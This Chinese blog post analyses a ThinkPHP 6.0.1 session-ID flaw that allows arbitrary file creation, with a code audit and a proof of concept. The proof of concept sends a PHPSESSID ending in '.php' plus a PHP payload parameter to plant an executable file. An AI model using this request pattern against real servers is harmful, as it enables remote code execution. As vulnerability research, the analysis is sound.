Thinkphp < 6.0.2 session id未作过滤

漏洞版本环境

2020年1月13号,Thinkphp 6.0.2发布,在详情页指出修复了一处Session安全隐患

➜  htdocs composer create-project topthink/think tp

composer.json 文件修改版本号为成 “topthink/framework”: “6.0.1” ,并执行如下命令。

➜  tp composer update
➜  tp php think run --host=0.0.0.0 --port=8001

修改 /app/middleware.php 开启Session功能

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    // \think\middleware\LoadLangPack::class,
    // Session初始化
     \think\middleware\SessionInit::class
];

漏洞分析

当开启session功能后时,会发现 session 文件默认存储在 ./runtime/session 下,其文件名格式为sess_PHPSESSID 。而当我们在 PHPSESSID 中输入特殊字符时,程序还是能正常生成对应文件。所以这里存在任意文件创建漏洞,再通过路径穿越,还存在getshell的可能

代码审计

先diff一下thinkphp6.0.2的代码,可以发现6.0.1在设置session id时未对值进行ctype_alnum()校验,从而导致可以传入任意字符。

//thinkphp6.0.2
public function setId($id = null): void{
    $this->id = is_string($id) && strlen($id) === 32 && ctype_alnum($id) ? $id : md5(microtime(true) . session_create_id());
}
//thinkphp6.0.1
public function setId($id = null): void{
    $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

传入任意字符会有什么危害?看一下thinkphp通过session id创建对应的session文件的过程

在注册中间件后,触SessionInit.php里的handle()函数,其中$cookieName值为’PHPSESSID’,由于session.var_session_id默认是空$sessionId值是从$request->cookie('PHPSESSID')中获取的,最后通过$this->session->setId($sessionId)将可控的cookie值赋值给$this->session->id

//vendor/topthink/framework/src/think/middleware/SessionInit.php
class SessionInit
{
    protected $app;
    protected $session;
    public function handle($request, Closure $next)
    {
        // Session初始化
        $varSessionId = $this->app->config->get('session.var_session_id');
        $cookieName   = $this->session->getName();

        if ($varSessionId && $request->request($varSessionId)) {
            $sessionId = $request->request($varSessionId);
        } else {
            $sessionId = $request->cookie($cookieName);
        }

        if ($sessionId) {
            $this->session->setId($sessionId);
        }
    }
}
//vendor/topthink/framework/src/think/session/Store.php
class Store
{
    protected $name = 'PHPSESSID';
    public function getName(): string
    {
        return $this->name;
    }
    public function setId($id = null): void
    {
        $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
    }
}

end()函数中触发了save(),先通过getid()获取sessionId,然后传入$this->handler->write()

//vendor/topthink/framework/src/think/middleware/SessionInit.php
class SessionInit
{
    public function end(Response $response)
    {
        $this->session->save();
    }
}
//vendor/topthink/framework/src/think/session/Store.php
class Store
{
    public function save(): void
    {
        $this->clearFlashData();

        $sessionId = $this->getId();

        if (!empty($this->data)) {
            $data = $this->serialize($this->data);

            $this->handler->write($sessionId, $data);
        } else {
            $this->handler->delete($sessionId);
        }

        $this->init = false;
    }
    public function getId(): string
    {
        return $this->id;
    }
}

继续跟进,在write()函数中,$filename是通过$this->getFileName()函数赋值的,格式为文件路径+”sess_”+之前的sessionId,然后判断是否需要对session数据进行压缩,默认是不需要的,再执行writeFile()函数,将session内容写入文件

//
class File implements SessionHandlerInterface
{
    public function write(string $sessID, string $sessData): bool
    {
        $filename = $this->getFileName($sessID, true);
        $data     = $sessData;

        if ($this->config['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        return $this->writeFile($filename, $data);
    }
    protected function getFileName(string $name, bool $auto = false): string
    {
        if ($this->config['prefix']) {
            // 使用子目录
            $name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
        } else {
            $name = 'sess_' . $name;
        }
        $filename = $this->config['path'] . $name;
        $dir      = dirname($filename);
        if ($auto && !is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        return $filename;
    }
    protected function writeFile($path, $content): bool
    {
        return (bool) file_put_contents($path, $content, LOCK_EX);
    }
}

漏洞利用

在index控制器中添加如下action

use think\Session;
public function index(Request $request,Session $session)
{
    $test=$request->param('test');
    $session->set('test', $test);
    //session('test', $test);
    return $session->get('test');
}

think\facade\Session类可以使用静态方法调用 Session::get(‘test’)Session::set(‘test’, $test)

访问http://localhost/tp/public/?test=<?php phpinfo();?>

GET /tp/public/?test=1 HTTP/1.1
Cookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php
Connection: close

会在./runtime/session/文件夹下,生成sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php文件包含<?php phpinfo();?>内容

再访问http://localhost/tp/runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php


文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
 上一篇
redis相关漏洞 redis相关漏洞
Redis未授权访问漏洞的利用及防护环境配置目标主机:Ubuntu 16.04.6 配置redis1后端模式启动,修改redis.conf配置文件, daemonize yes 以后端模式启动 daemonize yes再执行命令redis
2020-02-04
下一篇 
Coppersmith's Attack Coppersmith's Attack
使用SageMath尝试Coppersmith’s AttackSage的small_root方法 N = 10001 K = Zmod(10001) P.<x> = PolynomialRing(K) f = x^3 + 10*x^
2019-12-08
  目录